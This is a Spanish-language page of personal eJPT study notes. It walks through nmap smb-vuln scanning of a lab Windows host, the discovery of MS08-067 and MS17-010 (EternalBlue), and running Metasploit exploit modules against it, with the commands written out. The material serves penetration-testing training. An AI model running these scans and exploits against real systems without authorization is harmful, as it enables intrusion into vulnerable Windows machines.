> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/ejpt-xerosec/3.-experience.md).

# 3. EXPERIENCE

### ENUMERACIÓN SMB

### CON NMAP

Hacemos un escaneo al puerto 445 en donde corre el servicio smb, usaremos todos los scripts de nmap que empiecen por "smb-vuln-".

```bash
nmap -p445 --script="smb-vuln-*" -Pn -n -oN 445.txt 10.0.2.6
```

Las vulnerabilidades que encontramos en la máquina Windows son:

* ms08-067
* ms17-010

***

Abrimos la consola de metasploit y buscamos buscamos modulos para explotar esas vulnerabilidades.

```bash
search ms17-010
search ms08-067
```

Y después de configurar el host remoto las ejecutamos

```bash
setg rhosts 10.0.2.6

exploit
```

***

En el caso del Eternalblue podemos usar un exploit que hace uso de una herramienta propia de Windows que sirve para crear procesos en el sistema, se llama psexec. Y además también podemos hacer uso de un modulo auxiliar para comprobar si el sistema objetivo es vulnerable al Eternalblue.